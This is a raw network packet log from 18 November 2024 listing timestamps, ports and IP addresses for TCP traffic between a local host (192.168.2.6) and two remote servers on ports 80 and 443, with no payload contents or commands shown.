Nov 18, 2024 00:27:28.567991018 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.569159985 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.587095022 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.587692976 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.587754011 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.587800026 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.587814093 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.591239929 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.591278076 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.591372967 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.591506958 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.591517925 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.641259909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641278028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641293049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641375065 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641391039 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641406059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641449928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641449928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641449928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641449928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641515970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641531944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641558886 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641565084 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641582012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641594887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641599894 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641607046 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641618013 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.641624928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641647100 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.641658068 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.642189980 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.642210960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.642245054 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.642266035 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682177067 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682223082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682240963 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682255983 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682271957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682276011 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682287931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682303905 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682311058 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682321072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682337046 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682352066 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682363987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682368994 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682421923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682421923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682421923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682843924 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682888031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682894945 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682917118 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682928085 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682936907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.682961941 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.682981968 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683185101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683202982 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683238983 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683250904 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683281898 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683301926 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683346987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683347940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683347940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683363914 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683379889 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683391094 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683394909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683401108 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683413029 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683423042 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683427095 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.683442116 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683460951 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.683470964 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.702733040 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.703639030 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.703651905 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.704222918 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.704227924 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.716279030 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.716329098 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.716386080 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.716634035 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.716664076 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.716684103 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.716692924 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.718223095 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.718702078 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.718717098 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.719157934 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.719166040 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.720118999 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.720163107 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.720237017 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.720383883 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.720398903 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.756616116 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756633997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756649971 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756702900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.756702900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.756761074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756778002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756793022 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756822109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.756822109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.756863117 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.756962061 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.756978035 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.757010937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.757033110 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.757045984 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.757062912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.757077932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.757098913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.757098913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.757133007 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797513962 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797538996 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797552109 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797566891 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797583103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797600031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797602892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797616005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797667027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797667027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797667027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797883034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797919989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797938108 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797945976 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797962904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.797966003 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.797985077 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798002005 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798226118 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798281908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798295975 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798311949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798327923 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798346996 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798374891 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798374891 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798397064 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798414946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798444986 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798476934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798825026 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798851013 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798866034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.798912048 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798912048 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.798912048 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799050093 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799103022 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799154997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799170971 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799186945 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799201965 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799215078 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799215078 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799216986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799237013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799263000 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799505949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799561977 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.799786091 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.799837112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.833955050 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.834009886 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.834067106 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.834357977 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.834368944 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.834379911 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.834387064 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.837574005 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.837632895 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.837735891 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.837913990 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.837938070 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.848371029 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.848804951 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.848865986 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.848916054 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.848916054 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.848944902 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.848964930 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.850893974 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.850914955 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.850985050 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.851104021 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:28.851116896 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:28.872083902 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872139931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872220993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872220039 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872220039 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872246981 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872263908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872282028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872311115 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872311115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872311115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872311115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872332096 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872339010 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872351885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872366905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872366905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872387886 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872621059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872637033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872652054 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872668982 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.872689962 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872689962 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.872730970 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913152933 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913189888 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913206100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913225889 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913243055 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913264036 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913280010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913297892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913348913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913350105 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913511038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913527012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913552999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913575888 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913575888 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913575888 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913597107 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913614988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913629055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913631916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913649082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913655043 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913666010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913672924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913680077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.913700104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913700104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.913719893 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914304972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914356947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914374113 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914391994 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914398909 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914408922 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914423943 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914441109 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914446115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914446115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914474010 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914474010 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914489031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914501905 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.914558887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.914558887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.915044069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.915066957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.915081978 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.915112019 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.915147066 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.954289913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.954360008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.954374075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.954468012 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.954468012 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988533974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988550901 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988569021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988599062 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988615036 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988615990 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988631010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988631010 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988643885 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988650084 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988665104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988677025 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988682032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988698006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988712072 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988712072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:28.988724947 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988746881 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:28.988770008 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029691935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029736996 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029752970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029768944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029786110 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029774904 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029804945 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029822111 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029840946 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029840946 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029840946 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029876947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029876947 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029892921 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029918909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.029922009 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029944897 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.029966116 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030169964 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030219078 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030262947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030278921 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030294895 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030307055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030340910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030340910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030374050 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030390024 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030405998 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030416965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030421972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030438900 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030438900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030456066 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.030462027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030523062 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030523062 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.030523062 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.031500101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.031517029 CET	80	49741	185.215.113.206	192.168.2.6
